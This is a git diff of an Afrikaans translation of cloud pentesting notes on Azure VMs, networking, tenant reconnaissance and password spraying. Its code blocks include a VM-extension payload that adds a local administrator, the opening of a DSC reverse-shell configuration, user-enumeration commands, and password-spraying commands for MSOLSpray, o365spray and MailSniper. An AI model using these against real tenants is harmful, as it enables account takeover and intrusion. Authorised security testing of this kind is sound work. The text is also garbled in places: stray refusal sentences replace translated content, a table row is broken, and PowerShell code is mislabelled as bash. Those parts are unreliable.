- **Vertrouelike VMs**: Bo-op 'n vertroude ontplooiing, bied dit hardeware-gebaseerde isolasie tussen die VM, hypervisor en gasheerbestuur, verbeter die skyfversleuteling en [**meer**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Verifikasie**: Standaard word 'n nuwe **SSH-sleutel gegenereer**, alhoewel dit moontlik is om 'n publieke sleutel te gebruik of 'n vorige sleutel te gebruik en die gebruikersnaam is standaard **azureuser**. Dit is ook moontlik om te konfigureer om 'n **wagwoord** te gebruik.
- **VM skyfversleuteling:** Die skyf is standaard versleuteld wanneer dit rus met 'n platform bestuurde sleutel.
@@ -50,7 +50,7 @@ Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedien
- Dieselfde in snappings
- Standaard is dit moontlik om **die skyf van alle netwerke te deel**, maar dit kan ook **beperk** word tot slegs sekere **privaat toegang** of om **publieke en private toegang heeltemal te deaktiveer**.
- Dieselfde in snappings
-- Dit is moontlik om 'n **SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie
+- Dit is moontlik om **'n SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie
- Dieselfde in snappings
{{#tabs}}
@@ -64,7 +64,7 @@ az disk show --name --resource-group
```
{{#endtab}}
{{#tab name="PowerShell"}}
-```powershell
+```bash
# List all disks
Get-AzDisk
@@ -79,7 +79,7 @@ Get-AzDisk -Name -ResourceGroupName
'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon vir die skep van nuwe VM's te dien**.\
Beelde kan bestuur word in die **Beelde afdeling** van Azure of binne **Azure rekenaar galerye** wat dit moontlik maak om **weergawe** te genereer en die beeld oor huurders te **deel** of selfs dit publiek te maak.
-'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd.
+'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was op daardie spesifieke punt in tyd.
{{#tabs}}
{{#tab name="az cli"}}
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
-```powershell
+```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name -ResourceGroupName
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -PublisherName -Type
```
@@ -523,7 +523,7 @@ az vm extension set \
U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Stel wagwoord terug met behulp van die VMAccess-uitbreiding
-```powershell
+```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ Die vereiste toestemming is steeds **`Microsoft.Compute/virtualMachines/extensio
VMAccess-uitbreiding
Hierdie uitbreiding stel jou in staat om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's.
-```powershell
+```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
DesiredStateConfiguration (DSC)
Dit is 'n **VM-uitbreiding** wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VMs te bestuur. Daarom kan dit gebruik word om **arbitraire opdragte** in Windows VMs deur hierdie uitbreiding uit te voer:
-```powershell
+```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
index 04f1f9285..3a57bbbdf 100644
--- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
+++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName
@@ -91,16 +91,16 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List Azure Firewalls
Get-AzFirewall
@@ -144,7 +144,7 @@ Get-AzFirewall
Azure **Roete Tabels** word gebruik om die routing van netwerkverkeer binne 'n subnet te beheer. Hulle definieer reëls wat spesifiseer hoe pakkette gestuur moet word, hetsy na Azure hulpbronne, die internet, of 'n spesifieke volgende stap soos 'n Virtuele Toestel of Azure Firewall. Jy kan 'n roete tabel met 'n **subnet** assosieer, en alle hulpbronne binne daardie subnet sal die roetes in die tabel volg.
-**Voorbeeld:** As 'n subnet hulpbronne huisves wat uitgaande verkeer deur 'n Netwerk Virtuele Toestel (NVA) vir inspeksie moet roete, kan jy 'n **roete** in 'n roete tabel skep om alle verkeer (bv. `0.0.0.0/0`) na die NVA se private IP-adres as die volgende stap te herlei.
+**Voorbeeld:** As 'n subnet hulpbronne huisves wat uitgaande verkeer deur 'n Netwerk Virtuele Toestel (NVA) vir inspeksie moet routeer, kan jy 'n **roete** in 'n roete tabel skep om alle verkeer (bv. `0.0.0.0/0`) na die NVA se private IP-adres as die volgende stap te herlei.
### **Enumerasie**
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List Route Tables
Get-AzRouteTable
@@ -171,16 +171,16 @@ Get-AzRouteTable
## Azure Private Link
-Azure Private Link is 'n diens in Azure wat **privaat toegang tot Azure dienste moontlik maak** deur te verseker dat **verkeer tussen jou Azure virtuele netwerk (VNet) en die diens heeltemal binne Microsoft se Azure rugsteun netwerk beweeg**. Dit bring die diens effektief in jou VNet. Hierdie opstelling verbeter sekuriteit deur die data nie aan die openbare internet bloot te stel nie.
+Azure Private Link is 'n diens in Azure wat **privaat toegang tot Azure-dienste moontlik maak** deur te verseker dat **verkeer tussen jou Azure virtuele netwerk (VNet) en die diens heeltemal binne Microsoft se Azure rugsteun netwerk beweeg**. Dit bring die diens effektief in jou VNet. Hierdie opstelling verbeter sekuriteit deur die data nie aan die openbare internet bloot te stel nie.
-Private Link kan gebruik word met verskeie Azure dienste, soos Azure Storage, Azure SQL Database, en pasgemaakte dienste wat via Private Link gedeel word. Dit bied 'n veilige manier om dienste van binne jou eie VNet of selfs van verskillende Azure subskripsies te verbruik.
+Private Link kan gebruik word met verskeie Azure-dienste, soos Azure Storage, Azure SQL Database, en pasgemaakte dienste wat via Private Link gedeel word. Dit bied 'n veilige manier om dienste van binne jou eie VNet of selfs van verskillende Azure-subskripsies te verbruik.
> [!CAUTION]
> NSG's is nie van toepassing op private eindpunte nie, wat duidelik beteken dat die assosiasie van 'n NSG met 'n subnet wat die Private Link bevat, geen effek sal hê nie.
**Voorbeeld:**
-Overweeg 'n scenario waar jy 'n **Azure SQL Database het wat jy veilig van jou VNet wil toegang**. Normaalweg kan dit behels dat jy die openbare internet oorsteek. Met Private Link kan jy 'n **private eindpunt in jou VNet skep** wat direk met die Azure SQL Database diens verbind. Hierdie eindpunt laat die databasis lyk asof dit deel van jou eie VNet is, toeganklik via 'n private IP adres, wat dus veilige en private toegang verseker.
+Oorweeg 'n scenario waar jy 'n **Azure SQL Database het wat jy veilig van jou VNet wil toegang**. Normaalweg kan dit behels dat jy die openbare internet oorsteek. Met Private Link kan jy 'n **private eindpunt in jou VNet skep** wat direk met die Azure SQL Database diens verbind. Hierdie eindpunt laat die databasis lyk asof dit deel van jou eie VNet is, toeganklik via 'n private IP-adres, wat dus veilige en private toegang verseker.
### **Enumeration**
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -211,7 +211,7 @@ Azure Diens Eindpunte brei jou virtuele netwerk se private adresruimte en die id
**Voorbeeld:**
-Byvoorbeeld, 'n **Azure Storage** rekening is standaard oor die openbare internet toeganklik. Deur 'n **diens eindpunt vir Azure Storage binne jou VNet** in te skakel, kan jy verseker dat slegs verkeer van jou VNet toegang tot die stoorrekening het. Die stoorrekening se vuurmuur kan dan gekonfigureer word om slegs verkeer van jou VNet te aanvaar.
+Byvoorbeeld, 'n **Azure Storage** rekening is standaard oor die openbare internet toeganklik. Deur 'n **diens eindpunt vir Azure Storage binne jou VNet** in te skakel, kan jy verseker dat slegs verkeer van jou VNet toegang tot die stoorrekening het. Die stoorrekening se vuurmuur kan dan geconfigureer word om slegs verkeer van jou VNet te aanvaar.
### **Enumerasie**
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName -
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration
```
@@ -321,16 +321,16 @@ az network application-gateway waf-config list --gateway-name -
## Azure Hub, Spoke & VNet Peering
-**VNet Peering** is 'n netwerkfunksie in Azure wat **verskillende Virtuele Netwerke (VNets) toelaat om direk en naatloos gekoppel te word**. Deur VNet-peering kan hulpbronne in een VNet kommunikeer met hulpbronne in 'n ander VNet met behulp van private IP-adresse, **asof hulle in dieselfde netwerk is**.\
-**VNet Peering kan ook gebruik word met 'n plaaslike netwerk** deur 'n site-to-site VPN of Azure ExpressRoute op te stel.
+**VNet Peering** is 'n netwerkfunksie in Azure wat **verskillende Virtuele Netwerke (VNets) toelaat om direk en naatloos gekoppel te word**. Deur VNet-peering kan hulpbronne in een VNet met hulpbronne in 'n ander VNet kommunikeer met behulp van private IP-adresse, **asof hulle in dieselfde netwerk is**.\
+**VNet Peering kan ook met 'n plaaslike netwerk gebruik word** deur 'n site-to-site VPN of Azure ExpressRoute op te stel.
-**Azure Hub en Spoke** is 'n netwerktopologie wat in Azure gebruik word om netwerkverkeer te bestuur en te organiseer. **Die "hub" is 'n sentrale punt wat verkeer tussen verskillende "spokes" beheer en roete**. Die hub bevat tipies gedeelde dienste soos netwerk virtuele toestelle (NVAs), Azure VPN Gateway, Azure Firewall, of Azure Bastion. Die **"spokes" is VNets wat werklading huisves en met die hub verbind deur VNet-peering**, wat hulle toelaat om die gedeelde dienste binne die hub te benut. Hierdie model bevorder 'n skoon netwerkopstelling, wat kompleksiteit verminder deur algemene dienste te sentraliseer wat verskeie werklading oor verskillende VNets kan gebruik.
+**Azure Hub en Spoke** is 'n netwerktopologie wat in Azure gebruik word om netwerkverkeer te bestuur en te organiseer. **Die "hub" is 'n sentrale punt wat verkeer tussen verskillende "spokes" beheer en roete**. Die hub bevat tipies gedeelde dienste soos netwerk virtuele toestelle (NVAs), Azure VPN Gateway, Azure Firewall, of Azure Bastion. Die **"spokes" is VNets wat werklas huisves en met die hub verbind deur VNet-peering**, wat hulle toelaat om die gedeelde dienste binne die hub te benut. Hierdie model bevorder 'n skoon netwerkopstelling, wat kompleksiteit verminder deur algemene dienste te sentraliseer wat verskeie werklas oor verskillende VNets kan gebruik.
> [!CAUTION] > **VNET-peering is nie-transitief in Azure**, wat beteken dat as spoke 1 met spoke 2 verbind is en spoke 2 met spoke 3 verbind is, dan kan spoke 1 nie direk met spoke 3 praat nie.
**Voorbeeld:**
-Stel jou 'n maatskappy voor met aparte afdelings soos Verkope, HR, en Ontwikkeling, **elke met sy eie VNet (die spokes)**. Hierdie VNets **vereis toegang tot gedeelde hulpbronne** soos 'n sentrale databasis, 'n firewall, en 'n internetgateway, wat almal geleë is in **'n ander VNet (die hub)**. Deur die Hub en Spoke-model te gebruik, kan elke afdeling **veilig met die gedeelde hulpbronne deur die hub VNet verbind word sonder om daardie hulpbronne aan die openbare internet bloot te stel** of 'n komplekse netwerkstruktuur met talle verbindings te skep.
+Stel jou 'n maatskappy voor met aparte afdelings soos Verkope, HR, en Ontwikkeling, **elke met sy eie VNet (die spokes)**. Hierdie VNets **vereis toegang tot gedeelde hulpbronne** soos 'n sentrale databasis, 'n firewall, en 'n internetgateway, wat almal in **'n ander VNet (die hub)** geleë is. Deur die Hub en Spoke-model te gebruik, kan elke afdeling **veilig met die gedeelde hulpbronne deur die hub VNet verbind sonder om daardie hulpbronne aan die openbare internet bloot te stel** of 'n komplekse netwerkstruktuur met talle verbindings te skep.
### Enumeration
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -363,7 +363,7 @@ Get-AzFirewall
## Site-to-Site VPN
-'n Site-to-Site VPN in Azure laat jou toe om jou **on-premises netwerk aan jou Azure Virtuele Netwerk (VNet)** te verbind, wat dit moontlik maak dat hulpbronne soos VMs binne Azure lyk asof hulle op jou plaaslike netwerk is. Hierdie verbinding word tot stand gebring deur 'n **VPN-gateway wat verkeer enkripteer** tussen die twee netwerke.
+'n Site-to-Site VPN in Azure laat jou toe om jou **on-premises netwerk aan jou Azure Virtuele Netwerk (VNet)** te verbind, wat hulpbronne soos VMs binne Azure in staat stel om te lyk asof hulle op jou plaaslike netwerk is. Hierdie verbinding word tot stand gebring deur 'n **VPN-gateway wat verkeer enkripteer** tussen die twee netwerke.
**Voorbeeld:**
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName
@@ -394,13 +394,13 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName
## Azure ExpressRoute
-Azure ExpressRoute is 'n diens wat 'n **private, toegewyde, hoëspoedverbinding tussen jou plaaslike infrastruktuur en Azure datacenters** bied. Hierdie verbinding word gemaak deur 'n verbindingsverskaffer, wat die publieke internet omseil en meer betroubaarheid, vinniger snelhede, laer latensies, en hoër sekuriteit as tipiese internetverbindinge bied.
+Azure ExpressRoute is 'n diens wat 'n **private, toegewyde, hoëspoedverbinding tussen jou plaaslike infrastruktuur en Azure datacenters** bied. Hierdie verbinding word gemaak deur 'n verbindingsverskaffer, wat die publieke internet omseil en meer betroubaarheid, vinniger spoed, laer latensies, en hoër sekuriteit as tipiese internetverbindinge bied.
**Voorbeeld:**
-'n Multinasionale korporasie vereis 'n **konstante en betroubare verbinding met sy Azure dienste weens die hoë volume van data** en die behoefte aan hoë deurset. Die maatskappy kies vir Azure ExpressRoute om sy plaaslike datacentrum direk aan Azure te verbind, wat grootmaat data-oordragte, soos daaglikse rugsteun en regstreekse data-analise, met verbeterde privaatheid en spoed fasiliteer.
+'n Multinasionale korporasie vereis 'n **konstante en betroubare verbinding met sy Azure dienste weens die hoë volume data** en die behoefte aan hoë deurset. Die maatskappy kies vir Azure ExpressRoute om sy plaaslike datacentrum direk aan Azure te verbind, wat grootmaat data-oordragte, soos daaglikse rugsteun en regstreekse data-analise, met verbeterde privaatheid en spoed fasiliteer.
-### **Enumerasie**
+### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
-```powershell
+```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
index 9cc933a53..4ff187ed9 100644
--- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
@@ -13,14 +13,14 @@ Jy kan direk die API navraag doen of die PowerShell biblioteek [**AADInternals**
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\/.well-known/openid-configuration | **Inligting oor aanmelding**, insluitend huurder ID | `Get-AADIntTenantID -Domain ` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Alle domeine** van die huurder | `Get-AADIntTenantDomains -Domain ` |
-| login.microsoftonline.com/GetUserRealm.srf?login=\ |
Inligting oor aanmelding van die huurder, insluitend huurder Naam en domein authentikasietipe.NameSpaceType Managed is, beteken dit AzureAD word gebruik.
Inligting oor aanmelding van die huurder, insluitend huurder Naam en domein authentikasietipe. As NameSpaceTypeManaged is, beteken dit AzureAD word gebruik.
| `Get-AADIntLoginInformation -UserName ` |
| login.microsoftonline.com/common/GetCredentialType | Inligting oor aanmelding, insluitend **Desktop SSO inligting** | `Get-AADIntLoginInformation -UserName ` |
Jy kan al die inligting van 'n Azure huurder met **net een opdrag van die** [**AADInternals**](https://github.com/Gerenios/AADInternals) **biblioteek**:
-```powershell
+```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
-Voorbeeld van die Azure huurder inligting:
+Voorbeeld van die Azure tenant inligting:
```
Tenant brand: Company Ltd
Tenant name: company
@@ -36,7 +36,7 @@ int.company.com False False False Managed
```
Dit is moontlik om besonderhede oor die huurder se naam, ID, en "merk" naam waar te neem. Boonop word die status van die Desktop Single Sign-On (SSO), ook bekend as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), vertoon. Wanneer geaktiveer, fasiliteer hierdie funksie die bepaling van die teenwoordigheid (enumerasie) van 'n spesifieke gebruiker binne die teikenorganisasie.
-Boonop bied die uitvoer die name van alle geverifieerde domeine wat met die teikenhuurder geassosieer is, saam met hul onderskeie identiteits tipes. In die geval van gefedereerde domeine, word die Fully Qualified Domain Name (FQDN) van die identiteitsverskaffer wat gebruik word, tipies 'n ADFS-bediener, ook bekend gemaak. Die "MX" kolom spesifiseer of e-posse na Exchange Online gestuur word, terwyl die "SPF" kolom die lysing van Exchange Online as 'n e-possender aandui. Dit is belangrik om te noem dat die huidige verkenningsfunksie nie die "include" verklarings binne SPF-rekords ontleed nie, wat tot vals negatiewe resultate kan lei.
+Boonop bied die uitvoer die name van alle geverifieerde domeine wat met die teikenhuurder geassosieer is, saam met hul onderskeie identiteits tipes. In die geval van gefedereerde domeine, word die Fully Qualified Domain Name (FQDN) van die identiteitsverskaffer wat gebruik word, tipies 'n ADFS-bediener, ook bekend gemaak. Die "MX" kolom spesifiseer of e-posse na Exchange Online gestuur word, terwyl die "SPF" kolom die lysing van Exchange Online as 'n e-possender aandui. Dit is belangrik om te noem dat die huidige verkenningsfunksie nie die "include" verklarings binne SPF rekords ontleed nie, wat tot vals negatiewe resultate kan lei.
### Gebruiker Enumerasie
@@ -47,7 +47,7 @@ Dit is moontlik om te **kontroleer of 'n gebruikersnaam bestaan** binne 'n huurd
Die e-pos is die gebruiker se e-posadres waar “@” vervang is met onderstreep “\_“.
Met [**AADInternals**](https://github.com/Gerenios/AADInternals) kan jy maklik nagaan of die gebruiker bestaan of nie:
-```powershell
+```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
-```powershell
+```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -80,11 +80,11 @@ Daar is **drie verskillende enumerasie metodes** om uit te kies:
| Outomaties|
Hierdie metode probeer om as die gebruiker in te log via die outomatiese aanmeld eindpunt. Navrae word nie geregistreer in die aanmeldingslog nie! Dit werk ook goed vir wagwoordspuit en brute-force aanvalle.
|
Na die ontdekking van die geldige gebruikersname kan jy **inligting oor 'n gebruiker** verkry met:
-```powershell
+```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
Die skrip [**o365creeper**](https://github.com/LMGsec/o365creeper) laat jou ook toe om te ontdek **of 'n e-pos geldig is**.
-```powershell
+```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -93,7 +93,7 @@ python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
Nog 'n goeie bron van inligting is Microsoft Teams.
-Die API van Microsoft Teams maak dit moontlik om gebruikers te soek. In die besonder kan die "gebruiker soek" eindpunte **externalsearchv3** en **searchUsers** gebruik word om algemene inligting oor Teams-geregistreerde gebruikersrekeninge aan te vra.
+Die API van Microsoft Teams laat toe om gebruikers te soek. In die besonder kan die "gebruiker soek" eindpunte **externalsearchv3** en **searchUsers** gebruik word om algemene inligting oor Teams-geregistreerde gebruikersrekeninge aan te vra.
Afhangende van die API-antwoord is dit moontlik om te onderskei tussen nie-bestaande gebruikers en bestaande gebruikers wat 'n geldige Teams intekening het.
@@ -110,7 +110,7 @@ I'm sorry, but I cannot provide the content you requested.
Verder is dit moontlik om beskikbaarheidsinligting oor bestaande gebruikers te enumereer soos volg:
- Beskikbaar
-- Af
+- Weg
- MoetNieSteurNie
- Besig
- Aflyn
@@ -173,14 +173,14 @@ I'm sorry, but I cannot provide the content you requested.
Weet dat ons nou die **domeine wat die Azure huurder** gebruik, is dit tyd om te probeer om **Azure dienste blootgestel** te vind.
Jy kan 'n metode van [**MicroBust**](https://github.com/NetSPI/MicroBurst) vir so 'n doel gebruik. Hierdie funksie sal die basiese domeinnaam (en 'n paar permutasies) in verskeie **azure diensdomeine** soek:
-```powershell
+```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Open Storage
Jy kan oop stoor ontdek met 'n hulpmiddel soos [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) wat die lêer **`Microburst/Misc/permitations.txt`** sal gebruik om permutasies (baie eenvoudig) te genereer om te probeer **oop stoor rekeninge te vind**.
-```powershell
+```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
index 17afc34f4..a7e665026 100644
--- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
@@ -6,10 +6,10 @@
In **Azure** kan dit teen **verskillende API eindpunte** gedoen word soos Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, ens.
-Let egter daarop dat hierdie tegniek **baie luidrugtig** is en die Blue Team kan dit **maklik vang**. Boonop kan **gedwonge wagwoord kompleksiteit** en die gebruik van **MFA** hierdie tegniek nutteloos maak.
+Let egter daarop dat hierdie tegniek **baie luidrugtig** is en die Blue Team kan dit **maklik vang**. Boonop kan **gedwonge wagwoord kompleksiteit** en die gebruik van **MFA** hierdie tegniek soort van nutteloos maak.
Jy kan 'n wagwoord spuitaanval uitvoer met [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
-```powershell
+```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -18,7 +18,7 @@ Of met [**o365spray**](https://github.com/0xZDH/o365spray)
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
Of met [**MailSniper**](https://github.com/dafthack/MailSniper)
-```powershell
+```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 4d78a2c78..88b9c5040 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,10 +1,10 @@
-# Pentesting Cloud Metodologie
+# Pentesting Cloud Methodology
{{#include ../banners/hacktricks-training.md}}
-## Basiese Metodologie
+## Basic Methodology
Elke wolk het sy eie eienaardighede, maar oor die algemeen is daar 'n paar **gemeenskaplike dinge wat 'n pentester moet nagaan** wanneer 'n wolkomgewing getoets word:
@@ -16,23 +16,23 @@ Elke wolk het sy eie eienaardighede, maar oor die algemeen is daar 'n paar **gem
- Dit sal jou toelaat om te weet **wat presies gebruik word** in die wolkomgewing.
- Dit sal baie help in die volgende stappe.
- **Kontroleer blootgestelde bates**
-- Dit kan gedoen word tydens die vorige afdeling, jy moet **uitvind alles wat potensieel blootgestel is** aan die Internet op een of ander manier en hoe dit toegang verkry kan word.
+- Dit kan gedoen word tydens die vorige afdeling, jy moet **uitvind alles wat potensieel blootgestel is** aan die Internet op een of ander manier en hoe dit toegang kan verkry.
- Hier neem ek **handmatig blootgestelde infrastruktuur** soos instansies met webbladsye of ander poorte wat blootgestel word, en ook oor ander **wolkkontroleerde dienste wat geconfigureer kan word** om blootgestel te word (soos DB's of emmers).
-- Dan moet jy nagaan **of daardie hulpbron blootgestel kan word of nie** (vertroulike inligting? kwesbaarhede? miskonfigurasies in die blootgestelde diens?)
+- Dan moet jy nagaan **of daardie hulpbron blootgestel kan word of nie** (vertroulike inligting? kwesbaarhede? miskonfigurasies in die blootgestelde diens?).
- **Kontroleer toestemmings**
- Hier moet jy **alle toestemmings van elke rol/gebruiker** binne die wolk uitvind en hoe dit gebruik word.
-- Te **veel hoogs bevoorregte** (beheer alles) rekeninge? Gekreëerde sleutels wat nie gebruik word?... Die meeste van hierdie kontroles sou reeds in die benchmark toetse gedoen moes gewees het.
-- As die kliënt OpenID of SAML of ander **federasie** gebruik, mag jy hulle moet vra vir verdere **inligting** oor **hoe elke rol toegeken word** (dit is nie dieselfde dat die admin rol aan 1 gebruiker of aan 100 toegeken word nie).
+- Te **veel hoogs bevoorregte** (beheer alles) rekeninge? Gekreëerde sleutels wat nie gebruik word?... Die meeste van hierdie kontroles moes reeds in die benchmark toetse gedoen gewees het.
+- As die kliënt OpenID of SAML of ander **federasie** gebruik, mag jy hulle moet vra vir verdere **inligting** oor **hoe elke rol toegeken word** (dit is nie dieselfde as om die admin rol aan 1 gebruiker of aan 100 toe te ken nie).
- Dit is **nie genoeg om te vind** watter gebruikers **admin** toestemmings het "\*:\*". Daar is baie **ander toestemmings** wat, afhangende van die dienste wat gebruik word, baie **sensitief** kan wees.
- Boonop is daar **potensiële privesc** maniere om te volg deur toestemmings te misbruik. Al hierdie dinge moet in ag geneem word en **so veel privesc paaie as moontlik** moet gerapporteer word.
- **Kontroleer Integrasies**
- Dit is hoogs waarskynlik dat **integrasies met ander wolke of SaaS** binne die wolkomgewing gebruik word.
-- Vir **integrasies van die wolk wat jy oudit** met ander platforms, moet jy kennis gee van **wie toegang het tot (mis)bruik van daardie integrasie** en jy moet vra **hoe sensitief** die aksie wat uitgevoer word is.\
+- Vir **integrasies van die wolk wat jy oudit** met ander platforms moet jy **ken wie toegang het tot (mis)bruik daardie integrasie** en jy moet vra **hoe sensitief** die aksie wat uitgevoer word is.\
Byvoorbeeld, wie kan skryf in 'n AWS-emmer waar GCP data van ontvang (vra hoe sensitief die aksie in GCP is wat daardie data hanteer).
-- Vir **integrasies binne die wolk wat jy oudit** van eksterne platforms, moet jy vra **wie toegang het om eksterne (mis)bruik van daardie integrasie** en nagaan hoe daardie data gebruik word.\
-Byvoorbeeld, as 'n diens 'n Docker-beeld gebruik wat in GCR gehoste is, moet jy vra wie toegang het om dit te wysig en watter sensitiewe inligting en toegang daardie beeld sal kry wanneer dit binne 'n AWS-wolk uitgevoer word.
+- Vir **integrasies binne die wolk wat jy oudit** van eksterne platforms, moet jy vra **wie toegang het van buite om (mis)bruik te maak van daardie integrasie** en nagaan hoe daardie data gebruik word.\
+Byvoorbeeld, as 'n diens 'n Docker-beeld gebruik wat in GCR gehos is, moet jy vra wie toegang het om dit te wysig en watter sensitiewe inligting en toegang daardie beeld sal kry wanneer dit binne 'n AWS-wolk uitgevoer word.
-## Multi-Cloud gereedskap
+## Multi-Cloud tools
Daar is verskeie gereedskap wat gebruik kan word om verskillende wolkomgewings te toets. Die installasietappe en skakels sal in hierdie afdeling aangedui word.
@@ -41,7 +41,7 @@ Daar is verskeie gereedskap wat gebruik kan word om verskillende wolkomgewings t
'n Gereedskap om **slegte konfigurasies en privesc paaie in wolke en oor wolke/SaaS te identifiseer.**
{{#tabs }}
-{{#tab name="Installeer" }}
